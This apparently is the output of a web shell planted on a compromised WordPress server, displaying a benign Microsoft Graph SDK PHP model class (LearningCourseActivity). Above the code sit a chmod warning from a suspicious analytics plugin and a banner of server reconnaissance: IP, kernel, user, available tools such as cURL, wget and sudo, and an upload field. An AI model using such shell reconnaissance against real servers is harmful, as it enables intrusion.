Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* LearningCourseActivity File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* LearningCourseActivity class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class LearningCourseActivity extends Entity
{
/**
* Gets the completedDateTime
* Date and time when the assignment was completed. Optional.
*
* @return \DateTime|null The completedDateTime
*/
public function getCompletedDateTime()
{
if (array_key_exists("completedDateTime", $this->_propDict)) {
if (is_a($this->_propDict["completedDateTime"], "\DateTime") || is_null($this->_propDict["completedDateTime"])) {
return $this->_propDict["completedDateTime"];
} else {
$this->_propDict["completedDateTime"] = new \DateTime($this->_propDict["completedDateTime"]);
return $this->_propDict["completedDateTime"];
}
}
return null;
}
/**
* Sets the completedDateTime
* Date and time when the assignment was completed. Optional.
*
* @param \DateTime $val The completedDateTime
*
* @return LearningCourseActivity
*/
public function setCompletedDateTime($val)
{
$this->_propDict["completedDateTime"] = $val;
return $this;
}
/**
* Gets the completionPercentage
* The percentage completion value of the course activity. Optional.
*
* @return int|null The completionPercentage
*/
public function getCompletionPercentage()
{
if (array_key_exists("completionPercentage", $this->_propDict)) {
return $this->_propDict["completionPercentage"];
} else {
return null;
}
}
/**
* Sets the completionPercentage
* The percentage completion value of the course activity. Optional.
*
* @param int $val The completionPercentage
*
* @return LearningCourseActivity
*/
public function setCompletionPercentage($val)
{
$this->_propDict["completionPercentage"] = intval($val);
return $this;
}
/**
* Gets the externalcourseActivityId
* A course activity ID generated by the provider. Optional.
*
* @return string|null The externalcourseActivityId
*/
public function getExternalcourseActivityId()
{
if (array_key_exists("externalcourseActivityId", $this->_propDict)) {
return $this->_propDict["externalcourseActivityId"];
} else {
return null;
}
}
/**
* Sets the externalcourseActivityId
* A course activity ID generated by the provider. Optional.
*
* @param string $val The externalcourseActivityId
*
* @return LearningCourseActivity
*/
public function setExternalcourseActivityId($val)
{
$this->_propDict["externalcourseActivityId"] = $val;
return $this;
}
/**
* Gets the learnerUserId
* The user ID of the learner to whom the activity is assigned. Required.
*
* @return string|null The learnerUserId
*/
public function getLearnerUserId()
{
if (array_key_exists("learnerUserId", $this->_propDict)) {
return $this->_propDict["learnerUserId"];
} else {
return null;
}
}
/**
* Sets the learnerUserId
* The user ID of the learner to whom the activity is assigned. Required.
*
* @param string $val The learnerUserId
*
* @return LearningCourseActivity
*/
public function setLearnerUserId($val)
{
$this->_propDict["learnerUserId"] = $val;
return $this;
}
/**
* Gets the learningContentId
* The ID of the learning content created in Viva Learning. Required.
*
* @return string|null The learningContentId
*/
public function getLearningContentId()
{
if (array_key_exists("learningContentId", $this->_propDict)) {
return $this->_propDict["learningContentId"];
} else {
return null;
}
}
/**
* Sets the learningContentId
* The ID of the learning content created in Viva Learning. Required.
*
* @param string $val The learningContentId
*
* @return LearningCourseActivity
*/
public function setLearningContentId($val)
{
$this->_propDict["learningContentId"] = $val;
return $this;
}
/**
* Gets the learningProviderId
* The registration ID of the provider. Required.
*
* @return string|null The learningProviderId
*/
public function getLearningProviderId()
{
if (array_key_exists("learningProviderId", $this->_propDict)) {
return $this->_propDict["learningProviderId"];
} else {
return null;
}
}
/**
* Sets the learningProviderId
* The registration ID of the provider. Required.
*
* @param string $val The learningProviderId
*
* @return LearningCourseActivity
*/
public function setLearningProviderId($val)
{
$this->_propDict["learningProviderId"] = $val;
return $this;
}
/**
* Gets the status
* The status of the course activity. Possible values are: notStarted, inProgress, completed. Required.
*
* @return CourseStatus|null The status
*/
public function getStatus()
{
if (array_key_exists("status", $this->_propDict)) {
if (is_a($this->_propDict["status"], "\Microsoft\Graph\Model\CourseStatus") || is_null($this->_propDict["status"])) {
return $this->_propDict["status"];
} else {
$this->_propDict["status"] = new CourseStatus($this->_propDict["status"]);
return $this->_propDict["status"];
}
}
return null;
}
/**
* Sets the status
* The status of the course activity. Possible values are: notStarted, inProgress, completed. Required.
*
* @param CourseStatus $val The status
*
* @return LearningCourseActivity
*/
public function setStatus($val)
{
$this->_propDict["status"] = $val;
return $this;
}
}